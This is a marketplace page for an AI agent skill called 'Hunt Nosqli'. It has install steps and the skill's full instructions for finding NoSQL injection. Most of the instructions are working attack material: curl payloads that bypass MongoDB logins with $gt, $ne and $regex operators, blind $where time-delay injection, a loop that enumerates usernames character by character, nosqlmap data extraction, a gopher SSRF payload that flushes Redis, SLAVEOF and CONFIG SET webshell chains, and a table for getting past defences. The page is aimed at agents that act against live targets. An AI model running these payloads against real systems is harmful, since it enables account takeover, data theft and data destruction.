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Hunt Nosqli

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elementalsouls
hunt-nosqli

Hunt NoSQL Injection — MongoDB operator injection ($where, $regex, $gt, $ne), CouchDB, Redis command injection, auth bypass via NoSQLi, data dump. Use when target uses MongoDB/Mongoose, CouchDB, Redis, or shows NoSQL error messages.

Overview

Publisherelementalsouls
RepositoryClaude-BugHunter
Skill namehunt-nosqli
Stars
4.5K
Forks
678
Bundled files
Instructions only
LicenseMIT
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • Self-contained

    Everything the model needs lives in the instructions — no extra files to sync.

  • Open source

    Published by elementalsouls on GitHub. Read the source before you install it.

Installation

Install the Hunt Nosqli AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/elementalsouls/Claude-BugHunter.git /tmp/Claude-BugHunter
mkdir -p .claude/skills
cp -r /tmp/Claude-BugHunter/skills/hunt-nosqli .claude/skills/hunt-nosqli
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Hunt Nosqli in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Hunt Nosqli on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Hunt Nosqli is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

HUNT-NOSQLI — NoSQL Injection

Crown Jewel Targets

NoSQL injection is most valuable when it bypasses authentication (Critical) or leaks the entire user collection (High).

Highest-value chains:

  • MongoDB auth bypass{"username": {"$gt": ""}, "password": {"$gt": ""}} logs in as first user in collection (usually admin)
  • $where JS injection — if $where is enabled: blind injection → data exfil
  • Redis command injection — via SSRF or direct TCP, SLAVEOF attacker-ip → config write → webshell
  • Elasticsearch injection — _search endpoint with Groovy script injection (pre-5.0) → RCE

Attack Surface Signals

URL & Param Patterns

/api/users/login         POST with JSON body
/api/search?q=
/api/find?filter=
/api/query?where=
Any endpoint accepting JSON body with username/password

Stack Signals

SignalVector
MongoDB error messages in responseOperator injection
mongoose / monk in JS bundlesODM patterns
X-Powered-By: ExpressNode.js + MongoDB common stack
CouchDB/_utils UI exposedFuton/Fauxton admin
Redis port 6379 open (via SSRF)CONFIG SET / SLAVEOF
Elasticsearch :9200 openScript injection

Step-by-Step Hunting Methodology

Phase 1 — Auth Bypass (MongoDB)

bash
# Operator injection in JSON body
curl -s -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$gt": ""}, "password": {"$gt": ""}}'

# Regex wildcard — match any username
curl -s -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}'

# ne (not equal) bypass
curl -s -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": "admin", "password": {"$ne": "wrong"}}'

# in array bypass
curl -s -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$in": ["admin","administrator","root"]}, "password": {"$ne": "x"}}'

Phase 2 — URL Parameter Injection

bash
# Array notation (Express/PHP-style)
curl "https://$TARGET/api/users?username[$gt]=&password[$gt]="
curl "https://$TARGET/api/search?q[$regex]=.*&q[$options]=i"

# POST form data
curl "https://$TARGET/api/login" \
  --data "username[$gt]=&password[$gt]="

Phase 3 — $where Blind Injection (time-based)

bash
# Test if $where is enabled (time-based detection, 5s delay)
curl -s -X POST https://$TARGET/api/search \
  -H "Content-Type: application/json" \
  -d '{"q": {"$where": "function(){var d=new Date();while(new Date()-d<5000){}; return true;}"}}'
# If response takes 5+ seconds → $where injection confirmed

# Blind data exfil (username starts with 'a'?)
curl -s -X POST https://$TARGET/api/search \
  -H "Content-Type: application/json" \
  -d '{"q": {"$where": "function(){if(this.username.match(/^a/)){sleep(3000);} return true;}"}}'

Phase 3b — Syntax injection into a concatenated $where/query (string context)

When the app concatenates input into a JS $where STRING ("this.name=='"+input+"'") instead of accepting an operator object, break the string rather than passing $gt/$ne. Fuzz first, then break:

fuzz:  ' " ` { ; $         # any 500/behaviour change = syntax reaches the query
' || '1'=='1               # always-true (string-context breakout)
' && this.password.match(/^a/) || 'x'=='y   # boolean char-exfil oracle

(PortSwigger: Injecting syntax into NoSQL queries.)

Phase 4 — Data Dump via Regex

bash
# Enumerate usernames character by character
for c in a b c d e f g h i j k l m n o p q r s t u v w x y z; do
  RESP=$(curl -s -X POST https://$TARGET/api/users \
    -H "Content-Type: application/json" \
    -d "{\"username\": {\"\$regex\": \"^$c\"}}")
  echo "$c: $(echo $RESP | wc -c)"
done

Phase 5 — Automation

bash
# nosqlmap
pip3 install nosqlmap
nosqlmap -u "https://$TARGET/api/login" --attack 1

# nosqlmap data extraction
nosqlmap -u "https://$TARGET/api/login" --attack 2

Phase 6 — Redis via SSRF

bash
# If SSRF found, probe internal Redis via gopher://
curl "https://$TARGET/fetch?url=gopher://127.0.0.1:6379/_*1%0d%0a%248%0d%0aflushall%0d%0a"

# CONFIG SET webshell (if Redis has write access to web root)
# Use SLAVEOF for OOB data exfil

Bypass Table

DefenseBypass
JSON.parse rejects objectsUse array: password[$ne]=x (URL params)
Sanitizes $Unicode: $gt
Blocks operator keysNested objects deeper in structure

Chain Table

NoSQLi findingChain toImpact
Auth bypassAdmin panel accessFull admin control
User enum via regexCredential stuffingMass ATO
$where enabledArbitrary JS in DB processData exfil or DoS
Redis via SSRFCONFIG SET / SLAVEOFWebshell or data exfil

Validation

✅ Auth bypass: logged in without valid credentials, received valid session token ✅ Data dump: returned users/documents you shouldn't have access to ✅ Blind injection: confirmed via time-delay (>4 seconds consistent)

Severity:

  • Auth bypass as admin: Critical
  • User collection dump: High
  • Blind injection (no useful exfil): Medium

Frequently asked questions

What does the Hunt Nosqli AI skill do?

Hunt NoSQL Injection — MongoDB operator injection ($where, $regex, $gt, $ne), CouchDB, Redis command injection, auth bypass via NoSQLi, data dump. Use when target uses MongoDB/Mongoose, CouchDB, Redis, or shows NoSQL error messages.

Why use Hunt Nosqli on TypingMind?

Because you install it once and use it with any model. Hunt Nosqli is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Hunt Nosqli in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/elementalsouls/Claude-BugHunter/tree/main/skills/hunt-nosqli. TypingMind reads its SKILL.md and installs it as a skill you can enable per chat.

Which AI models can use Hunt Nosqli?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Hunt Nosqli?

As many as you like. As long as a model supports skills, you can use Hunt Nosqli with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Hunt Nosqli AI skill free?

Yes. It is published on GitHub by elementalsouls under the MIT license. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

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